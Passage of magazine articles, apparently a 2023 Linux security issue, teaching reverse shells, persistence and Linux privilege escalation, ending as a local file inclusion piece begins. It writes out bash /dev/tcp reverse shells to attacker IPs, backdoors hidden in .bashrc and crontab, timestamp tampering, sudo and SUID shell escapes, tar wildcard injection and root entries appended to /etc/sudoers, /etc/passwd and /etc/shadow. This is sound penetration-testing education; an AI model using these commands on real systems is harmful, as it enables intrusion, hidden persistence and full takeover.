perceive the world has attacker can connect
really opened my eyes. back into the target
My background is two- machine. Bind shells
and-half decades of are less common be-
Linux and securing containers over the last seven years or so. cause they require firewalling to be in a more malleable state
An area that always piques my interest is Linux-based local for the attacker. A number of security controls might be stop-
privilege escalation. Once you have found a way of gaining ping inbound traffic on a server (upstream firewalling with
access to a machine, the Holy Grail is elevating your privileges specifically whitelisted IP ranges and various types of in-
to the root user so you have full control. bound traffic being blocked, for example).
Sometimes achieving root can take a little time. As an at- A reverse shell, on the other hand, is where the target ma-
tacker, it is important to be able to return at a later date if you chine (the one suffering the attack) phones home to an IP
haven’t achieved root user privileges yet or you want to moni- address that the attacker controls. In most firewall configu-
tor changeable data on a machine. Penetration testers and at- rations, outbound traffic is much more open. Often, any pro-
tackers would call this ongoing access persistence, which is the cess on a machine that initiates network connections is per-
ability to gain a foothold and then maintain access; you might mitted to do so by default. This avoids the need to worry
also call it creating a backdoor. about firewalling between the target machine and the at-
Attackers have a multitude of ways for ensuring that, if a ma- tacker (unless very strict iptables are configured, for
chine reboots or some other event occurs, a backdoor is re-es- example).
tablished automatically. This article looks at reverse shells and
provides some examples of how to achieve persistence once Bash It into Shape
you have gained access to a Linux machine. It should go with- The target machine is the computer suffering the attack. The
out saying that you should use the following information for target can be any kind of networkable device, of course, but
testing, practicing, and improving your knowledge and not for it is usually a server. Bear the terminology in mind because
some nefarious purpose. things can get pretty confusing when other machines are in-
volved and you’re reversing the direction of traffic from a
Backwards and Forwards target.
Two popular types of remote access for an attacker are reverse I will start with an example from the best shell on the mar-
shells and bind shells. A bind shell (sometimes called a ket, Bash. I have an Ubuntu Linux laptop that I will call the

16 OCTOBER 2023 ISSUE 275 [Link]

 COVER STORY
Reverse Shells

“attacking” machine and my “target” machine is a Debian information. The following command dutifully reports back my
Linux server on AWS (an EC2 instance). The variety of Linux laptop’s public IP address (via a VPN which you may need to
doesn’t matter at all in my examples (and as Ubuntu Linux is a switch off initially while testing):
Debian derivative, you could swap the roles around without
changing any of the command syntax). The straightforward $ curl [Link]

Bash commands that follow should work with most distribu- [Link]

tions without any changes, although the package installation

details might vary. The next step is to fine-tune any firewalling on the attacking
I’ll start by installing the undisputed heavyweight champion machine. I use the excellent Gufw Linux firewall [3] that is in-
of reverse shells, netcat, on the attacking machine (my laptop) cluded in Ubuntu (Figure 1). Look in the Report column (the
so I can listen for the target machine phoning home. On the at- tab is shown in Figure 1) for useful information about exposed
tacking machine, I will start by creating what’s called a listener ports. You can even create rules from listening ports in the Re-
to catch the reverse shell connection when the target machine port column, making light work of tricky configurations.
phones home. The red text in Figure 1 shows a list of four inbound traffic
There are a number of varieties of netcat, mainly for leg- rules that punch a hole in my laptop’s firewall. I’ve opened
acy reasons. (I discuss these reasons in my book Linux these inbound ports: 4444, 4445, 8888, and 8889. I tend to use
Server Security: Hack and Defend [1] if you’re interested.) a couple of ports at once and like to have a spare one or two so
Listing 1 shows the results of searching the Ubuntu package these choices make sense for my needs.
lists for the word “netcat.” Note: If you’re using NAT to get to the Internet (which you
As you can see in Listing 1, Ubuntu users have four flavors most likely are from both home and the office), you will need a
of netcat to choose from. If your attacking machine doesn’t port forwarding rule on your router to get traffic forwarded to
have netcat built-in already and it is a Debian derivative: TCP Port 8888 in the examples.

$ apt install netcat Ready to Go

I am now in a position where I can fire up a relatively sim-
I prefer to trust the Nmap project’s version where possible ple reverse shell. The first thing to do is open up the listener
(named ncat). According to the Nmap website [2], “Ncat is a on my laptop. Netcat will sit quietly, waiting for a network
feature-packed networking utility that reads and writes data connection from the target machine. To achieve this, the
across networks from the command line. Ncat was written for command is simply:
the Nmap Project as a much-improved reimplementation of the
venerable Netcat.”
To install ncat, use the following command on Debian
derivatives:

$ apt install ncat

Setting Up the Shell

Now that the listener software is in place, I am ready to set up
a reverse shell. The first step is to look up my laptop’s IP public
address. My favorite way to look up an IP address is using the
curl command.
The [Link] website is an excellent tool for discovering
your publicly presented IP address via curl. You can also get
lots of detailed information about your current networking

Listing 1: netcat Package Search

ncat/jammy-updates 7.91+dfsg1+really7.80+dfsg1-2ubuntu0.1 amd64

NMAP netcat reimplementation

netcat/jammy,jammy 1.218-4ubuntu1 all

TCP/IP swiss army knife -- transitional package

netcat-openbsd/jammy,now 1.218-4ubuntu1 amd64

[installed,automatic]

TCP/IP swiss army knife

netcat-traditional/jammy 1.10-47 amd64

Figure 1: Opening up a list of rules so I can test
TCP/IP swiss army knife
reverse shells and leave my firewall enabled.

[Link] ISSUE 275 OCTOBER 2023 17

COVER STORY
Reverse Shells

$ nc -nvlp 8888

Listening on [Link] 8888

I’m listening with the l switch on TCP port 8888 (with the p
switch), and I want verbose output (the v switch) and no
DNS lookups (using n). Figure 2: Happiness is a working reverse shell.
On the target machine (the one under attack), I will run the
following commands: This command will force the terminal emulator to xterm [4],
which should give access to commands like clear.
$ export HOST=[Link] The third command allows you to temporarily put the Netcat
process on hold to tweak the terminal settings:
$ export PORT=8888

$ CTRL+Z # Hit the CTRL-Z keys to background the Netcat process

$ bash -i &> /dev/tcp/$HOST/$PORT <&1

The fourth and final command to paste into place has a sepa-
The first two commands help set up environment variables rate fg command at the end (to foreground the process – a
that can be easily adjusted on their own lines. The third line counter to the CTRL+Z). More importantly though, this com-
opens TCP port 8888 as the PORT and the HOST variable is the mand disables echoes from coming back after entering com-
laptop’s IP address. Using those settings, the third line points mands and also makes sure that the output isn’t run as com-
the bash command at a Linux device and pushes all output to mands; instead, it is just forwarded to be displayed directly to
it, and the -i switch makes the shell interactive. your terminal. It may also give access to tab-completing and
By running these three commands on the target machine, I the ability to use arrow keys.
am able to initiate a network connection back to the attacking
machine. $ stty raw -echo; fg

Proof in the Pudding After entering this command, you usually have to hit the Enter
Back on my laptop, I can see the results of the connection (Fig- key to start the terminal up. It’s easy to forget to do so, so be
ure 2). See the box entitled “That’s a Wrap” for more on the warned.
rlwrap command shown in Figure 2. The result is a relatively Figure 3 shows the stabilizing commands in action. You
functional shell. In this instance, the shell is even providing a can see the echoed commands and why I need to stop each
colored prompt, which is rarely seen without extra effort in my entry being sent back. Note that I don’t need the root user to
experience. The key things to look for in Figure 2 are that the fire up the bash -i &> /dev/tcp/$HOST/$PORT <&1 command
first prompt is on a machine called Xeo, the last line shows that on the target, making the possibility of achieving a reverse
I’m connected to the AWS instances, and the prompt is dis- shell much higher.
played as the Debian instance’s IP address. You soon realize that it’s imperative to stabilize reverse shells;
among other things, stabilizing the shells helps prevent acciden-
A Hop, Skip, and Jump tally hitting the CTRL+C keys, which will cause an exit from the
The prettified shell I just created is actually really unstable. For shell, forcing you to re-establish it (something that isn’t always
example, hitting the CTRL+C keys (among other key combina- possible during an attack). Instead, in most cases you will need
tions) will immediately drop the reverse shell, sending me un- a good, old CTRL+D to log out from a stabilized shell.
gracefully straight back to my laptop’s shell prompt. As a re- This next example is what you can expect during a Capture
sult, I need to stabilize the connection. Admittedly, it’s a bit of the Flag (CTF) exercise or an actual machine compromise in
a problem to get a shell behaving in a usable and sane way. most instances. In Listing 2, note the sparse shell output (and
There are several steps you can take. complete lack of any prompt).
More often than not, Python is available to you and this
first command is used frequently to settle reverse shells That’s a Wrap
down. Note that this command is not actually needed in
A handy command you can use to tidy up your reverse shell
this case, as I have a prompt, but without a prompt, you will connections is rlwrap. You can install the rlwrap utility on
almost definitely need it or an alternative. You might need to Debian derivatives as follows:
change python3 to python or python2 on some machines. This
command will make a shell look much more familiar. $ apt install rlwrap

Run rlwrap in front of your listener (as shown in Figure 2):

$ python3 -c 'import pty; [Link]("/bin/bash")'

$ rlwrap nc -nvlp 8888

As you can see, the Python command is spawning a /bin/bash
command, which fires up a fresh Bash process. The “rl” in the name stands for “readline.” The purpose of the
command is to wrap the proceeding command and add func-
The second shorter command is as follows:
tions like CTRL+R (for command history searches) plus Up and
Down arrows.
$ export TERM=xterm

18 OCTOBER 2023 ISSUE 275 [Link]

 COVER STORY
Reverse Shells

reboot. An unusual entry like @

reboot, however, could stand
out more than a simple Bash
script task entry.

Doing Bad Things,

Part 2
If an attacker knew that a user
logged in to a server frequently,
the attacker could surrepti-
tiously hide a one-liner inside a
file that is executed whenever
Figure 3: Stabilizing the shell using the four commands. the user logs in (or of course,
when everyone logs in ).
She Shells Sea Shells One popular file that users don’t inspect regularly is the
Reverse shells come in many forms, and I can’t cover all of .bashrc file, which is a hidden file in a user’s home directory.
them in this article. However, I came across a natty website Listing 3 shows the end of a typical .bashrc file with a reverse
service/tool that provides a clever way of checking which re- shell one-liner added. See if you can spot it.
verse shells are available on a target machine in a one-liner. It is easy not to notice the reverse shell in the second stanza
You can see the simple instructions on the site [5]. This service of Listing 3. How many users check that file? Very few. Possibly
essentially involves the following steps: the .bash_aliases file gets edited when new aliases are added,
1. Set up a listener on your laptop (which you know how to do): but very rarely the .bashrc file. This should demonstrate how
easy it is to hide a reverse shell. Keep in mind, also, that most
$ nc -nvlp 8888 processes initiated on a machine are allowed to instantiate net-
work connections.
2. On the target machine, grab a script with the curl command All you need to do is leave a listener running, and when the
and run it in order to walk through which shells are avail- user next logs on, you will get access. Note that this tech-
able on the machine: nique does not require installing netcat or any other tool on
the target machine; the access is provided courtesy of the ver-
$ curl [Link] satile, built-in Bash shell.
LISTENER-IP:8888 | sh One final comment is that if you adjust files on a target ma-
chine to cover your tracks, you can run a command like the
Figure 4 shows which shells this excellent reverse shell service following:
from Luke Childs checks for (as seen in the public code within
the service’s GitHub repository [6]. Listing 2: Promptless Unstable Shell
I would definitely recommend giving the service/tool a try; $ nc -nvlp 8888
its simplicity is perfect for testing. listening on [any] 8888

[Link]: inverse host lookup failed: Unknown host

Doing Bad Things, Part 1
connect to [[Link]] from (UNKNOWN) [[Link]] 39834
So far, I’ve looked at how an attacker can initiate connections
from a target machine back to the attacking machine. Now I’ll
whoami
spend a moment looking at how to set up persistence so that
an attacker can get back in the target machine following a re- chris

boot or connection drop (or accidental CTRL+C!). id

One technique is to use a cron job. It is sometimes possible uid=1001(chris) gid=1001(chris) groups=1001(chris)

to add a line to a script that runs with root privileges and cre- ls
ates a reverse shell with elevated permissions. However, keep- [Link] [Link]
ing things simple, you could also just add a line to the
crontab file that phones home periodically. Think back for a
second to the three commands at the start of the article that
created a Bash reverse shell. You should be able to convert
those three lines into a one-liner for an entry into the crontab.
Figure 5 shows an abbreviated crontab with a reverse shell
configured to phone home at 11:11 every day. It should go
without saying that this one-liner could be added to a script
that is run via a cron job, so its immediate purpose is hidden
from users looking at the crontab file’s contents. Figure 4: The types of reverse shell that the service
If you’ve used cron before, there’s also a @reboot option that attempts to set up for you (intentionally redacted).
means the reverse shell will attempt to re-establish after a Source: [Link]

[Link] ISSUE 275 OCTOBER 2023 19

COVER STORY
Reverse Shells

$ touch U needs to be changed to a real date and TryHackMe [7] and, as you become a lit-
-t YYYYMMDDhhmm /home/chris/.bashrc time for the command to work. tle more experienced, Hack The Box [8].
Both websites offer a wide range of fas-
In this example, I adjust the file modi- Conclusion cinating tutorials and CTF exercises that
fication time of the edited .bashrc file, Hopefully, this study of reverse shells will allow you to learn and then try out your
so the user’s attention isn’t drawn to it encourage you to look closer at offensive newly discovered knowledge. Happy
if a file listing is displayed (e.g. with security. This article barely scratches the hacking. Q Q Q
the ls -al command). Setting an ear- surface of the phenomenally massive ice-
lier modification time sneakily hides berg that is ethical hacking. Info
the fact that you have edited the file at To continue on your offensive security [1] Binnie, Chris. Linux Server Security:
all. Obviously, the YYYYMMDDhhmm option journey, I would recommend looking at Hack and Defend. Wiley Publishing,
2016:[Link]
Listing 3: .bashrc File Linux-Server-Security-Chris-Binnie/dp/
01 # Alias definitions.
1119277655
02 # You may want to put all your additions into a separate file like [2] ncat: [Link]
03 # ~/.bash_aliases, instead of adding them here directly. [3] Gufw Firewall: [Link]
04 # See /usr/share/doc/bash-doc/examples in the bash-doc package. io/projects/gufw/
05 [4] xterm: [Link]
06 if [ -f ~/.bash_aliases ]; then xterm/[Link]
07 . ~/.bash_aliases [5] Reverse shell checker:
08 fi [Link]
09 [6] Reverse shell tool on GitHub:
10 # enable programmable completion features (you don't need to enable [Link]
11 # this, if it's already enabled in /etc/[Link] and /etc/profile reverse-shell
12 # sources /etc/[Link]). [7] TryHackMe: [Link]
13 bash -i &> /dev/tcp/[Link]/8888 <&1 [8] Hack The Box:
14 if ! shopt -oq posix; then [Link]
15 if [ -f /usr/share/bash-completion/bash_completion ]; then

16 . /usr/share/bash-completion/bash_completion Author
17 elif [ -f /etc/bash_completion ]; then Chris Binnie is a Cloud Native Security
18 . /etc/bash_completion consultant and co-author of the book Cloud
19 fi
Native Security: [Link]
Cloud-Native-Security-Chris-Binnie/dp/
20 fi
1119782236.

Figure 5: A suspicious looking crontab.

QQQ

20 OCTOBER 2023 ISSUE 275 [Link]

COVER STORY
Privilege Escalation

Understanding privilege escalation

Shape Shifter
Even a small configuration error or oversight can create an opening for
privilege escalation. These real-world escalation techniques will help you
understand what to watch for. By Chris Binnie

O
ne important aspect of ethical hacking is privilege permits certain types of penetration testing. As per their web-
escalation, which is often abbreviated as PrivEsc or site [2] : “AWS customers are welcome to carry out security as-
LPE (and sometimes called Local Privilege Escalation). sessments or penetration tests of their AWS infrastructure with-
PrivEsc is when one user illegitimately becomes an- out prior approval for the services listed in the next section
other. An attacker might try to become another user on a under Permitted Services.” Looking down through the Permit-
system or the superuser. ted Services, EC2 instances is the first item listed. I’m mention-
The escalation techniques I have learned while studying of- ing this because you might need to check with the platform
fensive security have been a real eye opener. I’d go as far to say that you intend to practice security on. In my case, I’m rela-
that anyone working in the defensive security space should be tively confident the security assessment label applies for my
trained in the various ways attackers attempt to break in. It is testing.
not always as simple as elevating permissions from a low-level
user to the root user (which is referred to as vertical privilege So Much to Do, So Little Time
escalation); often PrivEsc means you must first perform hori- If you have studied privilege escalation even briefly, you have
zontal privilege escalation, moving from one non-root user to probably discovered that there are multiple, often extremely
another. Low-level users often have subtly different privileges creative routes you can employ to become the coveted root
or different access to files or scripts that might be more hack- user.
able. Attackers move from user to user, looking for the account PrivEsc is often enabled by perfectly innocent, intentional
that offers the best opportunity for escalation. functionality within an application. That functionality might
The Wikipedia page on privilege escalation [1] sums up PrivEsc include applications that permit filesystem access or even shell
nicely: “Privilege escalation is the act of exploiting a bug, a design access from within an application itself. Or, even more inno-
flaw, or a configuration oversight in an operating system or soft- cently, when the application exits, it might not cleanly drop
ware application […snip…]. The result is that an application with privileges for one reason or another.
more privileges than intended by the application developer or sys- It is no exaggeration to say that there are hundreds of
tem administrator can perform unauthorized actions.” ways of exploiting sudo privileges. The sudo tool [3] lets
This article will look at some of the more common routes to users elevate their access to run specific, granular com-
PrivEsc on a Linux machine. The aim is to become the root mands without ever needing to become the root user (or
user in order to gain full control of the machine. other user) directly.
The first application that I’ll look at is one that most people
Cloud Matters are familiar with. The package manager Advanced Packaging
I’ll use an AWS EC2 instance to run these tests. If you’re not at- Tool (APT) predominantly uses the /usr/bin/apt-get binary to
tacking other customers and disrupting their services, AWS update package lists and upgrade applications.

22 OCTOBER 2023 ISSUE 275 [Link]

 COVER STORY
Privilege Escalation

Figure 1: No sudo means no package updates and “Permission denied” errors.

I have a low-level user called chris that I’ll add to the sudo- Have a look at the following command:
ers configuration file in a moment and allow chris to run
apt-get without using a password. You should be aware that $ sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

you commonly need to use full file paths with sudo, so I’ll
keep referring to /usr/bin/apt-get. I’ll follow protocol (to I’m asking APT to invoke a command before running the up-
help prevent mangling the sudoers file and accidentally lock- date option – simple but effective. Figure 3 shows the impact of
ing out system users) and run this command: such a command, when a user has sudo access to run it.
In Figure 3, for perfect clarity, I run the whoami and id com-
$ visudo /etc/sudoers mands, showing that I’m the chris user. Then, having run the
apt-get command, I run the same commands again.
Then I’ll add this line, and save then exit the file cleanly: This time the results are devastating to the security of a sys-
tem. I’ve found the Holy Grail by exploiting an option in the
chris ALL=EXEC:NOPASSWD: /usr/bin/apt-get venerable APT application. The last few lines of Figure 3 show
that I am now the root user and have complete control of the
Now I’ll check that the configuration worked by running AWS instance, even though I logged in as the chris user.
apt-get without sudo first, as shown in Figure 1. The next step would be simply typing the word bash to turn the
According to the sudo manual (man sudo), changing EXEC to sparse Bourne (sh) shell into a Bash shell. Have a look at Figure 4.
NOEXEC in the sudo configuration will help prevent most shell I now have a very familiar-looking, colorful superuser prompt.
escapes. And, in the manual for the sudoers file (man sudoers),
there’s a section called “Preventing shell escapes” that makes Ready Player Two
for interesting reading. Next I’ll look at a command that some users make use of con-
Now that I’ve added a rule to the sudoers file, in Figure 2, I’m tinually on Linux. The less command helps users read text
running the same command with sudo to see if it works. Great, files and search for patterns in text files, among other things.
no errors. On this occasion, it’s worth mentioning that less often
Now for the clever bit. I’m going to run a slightly tricky look- serves as the default pager on Linux machines. What that
ing command to offer an example of how some applications means is that applications such as the excellent APT can also
might unexpectedly permit the user to run a shell, whether in- be prone to issues that affect associated tools (less in this case)
tentionally or not. that are able to read files, such as an installed package’s

Figure 2: Running the command with sudo means that the command executes successfully.

Figure 3: Devastating results from a simple “pre-run” option.

[Link] ISSUE 275 OCTOBER 2023 23

COVER STORY
Privilege Escalation

Figure 4: Happiness is a superuser shell.

bottom. Users can type directly into that

screen without entering anything else. In
Figure 6, you see what happens when I
simply type !/bin/sh.
Figure 6 shows that I’ve gone from
viewing an innocent iproute2 changelog
to gaining root user access with just a
few keystrokes.
To escalate privileges with the less
utility directly, I need to alter the sudoers
file, firstly checking the full path of the
binary:

$ whereis less

Figure 5: The package manager is firing up less to read a changelog file. Now I can adjust the /etc/sudoers file:

chris ALL=EXEC:NOPASSWD: /usr/bin/less

What can I do now? Try this command:

$ sudo less /etc/[Link]

In Figure 7, I am opening the DNS configu-

Figure 6: Look! I see the root user again. ration file [Link] via sudo. Can I
achieve PrivEsc via the same approach but
changelog. I feel a little guilty picking on APT again because with !/bin/bash instead of !/bin/sh for a more complete prompt?
this pager issue will affect many applications, but I’ll look at Figure 8 shows the results of typing !/bin/bash. In glorious
less used directly by APT and then less on its own. Technicolor, I now have root user access, courtesy of the less
Starting with the sudoers file from the previous example, the command.
APT command is as follows:
What D’ya See?
$ sudo /usr/bin/apt-get changelog iproute2 U Now I’ll change direction and look at another popular tool, the
# Display the changelog file for "iproute2" nano text editor. As you are familiar with the process, I’ll speed
through this example. Using the following sudoers file
Figure 5 shows the output when I run that command. If you’ve configuration:
used less, it should look very familiar.
In Figure 5, you see a changelog file’s
contents and a highlighted prompt at the

Figure 7: The [Link] file. Figure 8: I’ve done it again. The superuser is shown.

24 OCTOBER 2023 ISSUE 275 [Link]

 COVER STORY
Privilege Escalation

Figure 9: Jackpot again. I am the root user!

chris ALL=EXEC:NOPASSWD:/usr/bin/nano file hasn’t got the permission to execute the file, it is possible
to use an “s” instead. Figure 10 shows the permissions for the
you need the following commands to PrivEsc: excellent watch binary that refreshes your screen while another
application runs, so you can watch for changes, first without
$ sudo nano the special bit set (Figure 10).
CTRL-R See the s in place of the usual place for the x (for user execu-
CTRL-X tion permissions) in Figure 10. Also, note that the file is owned
reset; sh 1>&0 2>&0 by the root user.
To see if PrivEsc is possible, run the following command:
Note that you need to open Nano and then type directly, after
using the CTRL+R and CTRL+X keystrokes (which open the $ /usr/bin/watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'

“command to execute” menu) before pasting the last line

above. Figure 9 shows the results. Note that you will see some This command might look familiar, because it is similar to the
garbled output before hitting the Enter key four times or so to nano commands described previously.
clear the menu. Figure 11 shows that I have successfully elevated to the root
The black space at the top of Figure 9 is where a document user again.
might have been displayed. By running the commands shown,
the menu has moved off the bottom of the screen (after hitting Pack It Up
the Enter key a few times). An attacker can use many other routes to achieve PrivEsc. Even
collecting them into specific categories creates a very long list.
SUID Tricks Next I will look at another common route, namely by
Another route to achieving PrivEsc on Linux is via SUID (or Set abusing cron jobs with tar. The tar command is available
Owner User ID) permissions. You can find all SUID files on a on the vast majority of Linux distributions and is commonly
system (or at least the files your current user account can see), used to create tarballs, which are a collection of bundled
using the following command: files that are then pushed through software like gzip to com-
press the bundle and shrink the file size. If you’ve used
$ find / -perm -u=s -type f 2>/dev/null Linux, you’ve probably used tar for moving large files
around or creating backups.
The output shows a huge list, but with a
bit of practice with Capture the Flag
(CTF) exercises, you can spot unusual
SUID files relatively quickly.
If you set a file with SUID privileges,
when you run it, rather than it being run
by your current user, it is executed by the
owner of the file. It doesn’t matter who
runs it, the owner effectively executes it.
SUID privilege is shown on a file list- Figure 10: Warning: Linux is dutifully flagging an SUID file as a problem,
ing with an s. Even if the owner of the in red!

Figure 11: I have managed to abuse the SUID setting on the watch binary.

[Link] ISSUE 275 OCTOBER 2023 25

COVER STORY
Privilege Escalation

The PrivEsc concept is relatively simple, however, there are a command that is actually run (which is cron, in this case).
few steps involved. Consider a typical crontab file (Figure 12). Scary, I’m sure you agree.
Note that the last line mentions a backup script (run by the The first question is, what are the contents of the backup
root user) called [Link]. script? The script only has two lines – the important part is the
Figure 12’s shell script is run by the root user every single min- wildcard (the asterisk) showing that tar will bundle all the files
ute. I also have access to see what the script in the /usr/local/etc in the /tmp directory, as shown here (my tests kept failing when
directory does. It creates a backup file in the home directory of the I didn’t explicitly run cd /tmp and instead stated the full paths):
user called chris.
The directory listing of ~chris reveals this file is present, and #!/bin/bash

it is overwritten every minute as suspected. Most importantly, cd /tmp; tar -czf /home/chris/[Link] *

it is owned by the root user:

The wildcard is how I can abuse the tar command.
-rw-r--r-- 1 root root 237 Apr 23 11:15 U The next question is, can I write to the directory that tar is
[Link] creating the backups from? I will create a file in the /tmp direc-
tory, using the touch command as chris:
The chris user can read the backup file’s contents with a com-
mand like: $ cd /tmp; touch [Link]

$ ls -al *.txt

zless [Link] -rw-r--r-- 1 chris chris 0 Apr 23 11:42 U

[Link]

but that is not what I’m going to look at now. Rather than
running every day, the cron job is running every minute, Great. I do have access to the /tmp directory, which is where
making it really convenient to abuse (it looks like whoever the backup tarball is getting its files.
set it up was testing it every minute and forgot to set it to Next, I’ll attack the script run in the cron job by adding a re-
run once a day). verse shell to the file, which tar will bundle up and compress
Why not check out the script that’s called by the cron job, to as part of the files it is dutifully collecting. (See the article on
see if it is possible to edit the file without root privileges. The reverse shells elsewhere in this issue.)
file is located in the /usr/local/etc directory. Here’s what user A reverse shell, if you’re not familiar, is a way of getting a
chris sees with a directory listing: compromised machine (usually a server) to phone home to the
attacker’s machine. Reverse shells simplify firewalling complexi-
chris@ip-10-78-37-124:/usr/local/etc$ ls -al ties by creating an outbound network connection to the attacker.
[...snip?] The attacking machine is my Ubuntu Linux laptop. The com-
-rwxr-xr-x 1 chris chris 70 Apr 22 09:11 U mand line for the reverse shell is a relatively simple Bash one-
[Link] liner (replacing the XXXs for my laptop’s IP address):

Excellent news. I can edit that shell script as the chris user. At bash -c 'bash -i >& /dev/tcp/[Link]/8888 0>&1'

this point, it doesn’t make a massive amount of difference

what the contents of the script file are. There are a multitude of I’ll then execute the following command on my laptop. This
ways to become root from a scenario like this. I’ll look at a cou- command asks netcat (which is available in the repositories of
ple of other ways in a moment, but for now, I’ll focus on abus- most Linux systems) to stand guard and listen on TCP port
ing some well-intentioned functionality in the tar program. 8888, which I’ve opened up on my broadband router to point
Even if I couldn’t edit the backup script without being the at my laptop’s internal IP address:
root user, being able to read the contents of the script, and
most importantly, having access to the directory that tar is $ nc -nvlp 8888

bundling up the files in (before compressing them), I can still Listening on [Link] 8888

achieve PrivEsc. Think about that for a second: I can abuse the
features of tar to achieve PrivEsc without even altering theThis command is often called a listener. The command op-
tions specify verbosity,
an open port for TCP
port 8888, and ignor-
ing DNS lookups. I’ll
leave this command on
a terminal on my lap-
top. Later, I will check
to see what the empty
terminal is doing.
Back in the /tmp di-
rectory of the target
Figure 12: The last line has a shell script run by the root user. machine, I’ll create a

26 OCTOBER 2023 ISSUE 275 [Link]

 COVER STORY
Privilege Escalation

Listing 1: /tmp Directory Listing Listing 2: Reverse Shell

chris@ip-10-78-37-124:/tmp$ ls -al chris@Xeo:~$ nc -nvlp 8888

-rw-r--r-- 1 chris chris 1 Apr 23 11:58 '--checkpoint-action=exec=sh [Link]' Listening on [Link] 8888

-rw-r--r-- 1 chris chris 1 Apr 23 11:59 '--checkpoint=1' Connection received on [Link] 44626

[...snip?]
root@ip-10-78-37-124:/tmp# whoami
-rw-r--r-- 1 chris chris 0 Apr 23 11:42 [Link]
whoami
-rwxr-xr-x 1 chris chris 45 Apr 23 11:49 [Link]
root
root@ip-10-78-37-124:/tmp# id
id
script called [Link] and add the reverse shell one-liner. access to super-
uid=0(root) gid=0(root) groups=0(root)
Note that I’m not installing any software on the target ma- user privileges.
chine; it’s all built-in (which in itself should be worrying for For example, I
the machine’s owner). Using a text editor, I’ve added my pub- could have added a line to the backup script that altered the
lic IP address and the port number 8888 and made the phone- configuration in the /etc/sudoers file, our old friend from
[Link] script executable: earlier, which wrote a rule that provided root user access:

$ cat /tmp/[Link] echo "chris ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

#!/bin/bash

bash -c 'bash -i >& /dev/tcp/[Link]/8888 0>&1' Or, I could have created a new user in the /etc/passwd file:

$ chmod +x [Link] echo "superuser:0:0:superuser:/var:/bin/sh" >> /etc/passwd

Now I need to create some slightly strange-looking filenames to And, what about adding a password hash that you created
trick tar into doing what I want it to do. yourself to the /etc/shadow file? Have a think about the follow-
I will create a file in the /tmp directory that essentially calls ing (redacted to hide my “root” password):
the [Link] script:
echo "root:$6$Ldsxp$rDAaI/0SC/kfs7VL/:19217:U

$ cd /tmp 0:9[Link]" >> /etc/shadow

$ echo "" > "--checkpoint-action=exec=sh [Link]" With a bit of testing, you can soon
$ echo "" > --checkpoint=1

su -

To paraphrase, these two echo commands tell tar to perform an

action and also to display the progress of a checkpoint. Accord- to the root user on the target machine with impunity.
ing to the tar man page, the -checkpoint[=N] option says to dis- I’m certain that having seen these examples, you will fully un-
play the progress every Nth record (in this case N=1). The derstand the implications of having any type of access to cron jobs
-checkpoint-action option specifies an action to run with each that run as the superuser. And, even having visibility of what such
checkpoint (in this case, run the [Link] script). cron jobs are doing clearly gives an attacker an advantage.
The /tmp directory now looks like the output in Listing 1.
Now I need to check if the cron job has run. According to the Conclusion
timestamp, the backup file in /home/chris has been updated, so I hope the content I’ve covered will encourage you to learn
I’ll check the reverse shell terminal on my laptop. more about ethical hacking. It is both useful and edifying to
Excellent! I can now see some output and, more importantly, understand how attackers think. It is also comforting to see the
a prompt (Listing 2). As you can see, the root user is being pre- limitations attackers face, hindered by only a few well consid-
sented, so I now have full control of the machine as the ered Linux security controls. The knowledge that you gain
superuser! practicing PrivEsc can only make you more effective at defend-
You’ll notice in Listing 2 that the output starts on my laptop ing your systems. Q Q Q
(named Xeo) and ends with the root user prompt on the AWS
instance. The id command shows that the root user’s UID and Info
GID are present too. [1] Privilege escalation:
[Link]
Rewind [2] Pen testing at AWS:
There are other ways to abuse a cron job in addition to the tar [Link]
hack I just described. Remember that I actually had read/write ac- [3] sudo: [Link]
cess to the backup shell script that is called by the cron job, so I
didn’t have to use the wildcard trick described in the tar example. Author
Instead, I could have just edited the backup script directly. Be- Chris Binnie is a Cloud Native Security consultant and co-author
cause it runs as the root user in the crontab file, I could have of the book Cloud Native Security: [Link]
filled it with all sorts of weird and wonderful payloads to gain Cloud-Native-Security-Chris-Binnie/dp/1119782236.

[Link] ISSUE 275 OCTOBER 2023 27

Picking locks with local file inclusion

Local Job
A local file inclusion attack uses files that are already on the target system. By Chris Binnie

W
hen trying to break into a web server, ethical [Link]

hackers often alter some of the variables that are [Link]

present in a website’s URLs. This type of attack

can fall into a number of different categories. It’s an easy concept to follow and should give you an indica-
Some attacks concern the manipulation of files that a server tion of the local file inclusion techniques I’ll look at next.
has access to. The definition of directory traversal, as it sug-
gests, is allowing an attacker to traverse a filesystem and then Locally-Sourced Produce
read files (that they shouldn’t have access to). According to the Open Worldwide Application Security Project
On the other hand, Local File Inclusion (LFI) and Remote (OWASP) [1]:
File Inclusion (RFI) attacks can also execute the files that they “…[An LFI] vulnerability occurs, for example, when a page re-
have access to. As you would guess, LFI is concerned with files ceives, as input, the path to the file that has to be included and
that are already present on the target system (which is usually this input is not properly sanitized, allowing directory traversal
a server), whereas RFI is where an attacker uploads a mali- characters (such as dot-dot-slash) to be injected.”
cious file (or references external files via a URL). In other words, using ../../../ characters in a URL means
This article looks at my favorite way to take advantage of local that the server moves away from the web server’s root direc-
file inclusion. Although this attack is not an advanced attack, tory (which is usually /var/www/html on Linux Apache web
when I saw how creative it was, it really opened my eyes to the servers) to provide directory traversal. LFI goes a step further,
ingenious methods used by attackers. This attack is a perfectly however, as it also causes the server to execute the file that it
balanced combination of simplicity and guile. I also offer addi- accesses. Think of a PHP-enabled server executing PHP web
tional ways of delivering payloads to exploit LFI vulnerabilities pages just as it would execute any other type of script.
and include lots of references. I’ll use PHP for this article. How- The PHP web server that I’m using for testing is running on
ever, the principles also apply to other server-side languages. an AWS instance and is set to permit the first line of PHP pages
Be warned! It should go without saying: Only use the tech- to use what are called short tags. Instead of using <?php at the
niques and tools in this article on your own systems or those start of each page, it will also process PHP content with <?.
you have explicit permission to test against. This short tag setting is sometimes set because it makes code
quicker to write. You can enable short tags in the [Link] file
Phoning Home (which is /etc/php/8.2/apache2/[Link] in my case) using the
Before I start, and to whet your appetite with a local file inclu- following (you may need a web server restart):
sion, I would be remiss not to briefly offer an explanation of re-
mote file inclusion too, such as the vulnerable code seen in short_open_tag = On

Listing 1.
In the normal course of events, the code in Listing 1 would It is not that sensible to use short tags on production servers in
“include” or pull in another page’s content when the main page case PHP is disabled unintentionally and all your code is acci-
was requested by a browser. The template could be a header or dentally printed on your website for attackers to see. But, I pre-
